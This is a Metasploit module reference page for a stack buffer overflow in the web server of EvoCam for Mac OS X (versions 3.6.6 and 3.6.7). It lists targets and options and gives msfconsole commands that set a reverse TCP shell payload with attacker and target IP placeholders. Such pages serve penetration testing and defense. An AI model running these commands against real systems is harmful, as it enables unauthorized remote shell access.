MacOS X EvoCam HTTP GET Buffer Overflow | Metasploit Exploit Database (DB)

MacOS X EvoCam HTTP GET Buffer Overflow

This module exploits a stack buffer overflow in the web server provided with the EvoCam program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6, 3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity.

Search Other Modules


Exploit Rank

  • Average

Exploit Authors

  • Paul Harrington < >
  • dookie < >

Vulnerability References


Exploit Targets

  • 0 - Mac OS X 10.5.8 x86, EvoCam 3.6.6
  • 1 - Mac OS X 10.5.8 x86, EvoCam 3.6.7 (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/osx/http/evocam_webserver
msf exploit(evocam_webserver) > show payloads
msf exploit(evocam_webserver) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(evocam_webserver) > set LHOST [MY IP ADDRESS]
msf exploit(evocam_webserver) > set RHOST [TARGET IP]
msf exploit(evocam_webserver) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 8080)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)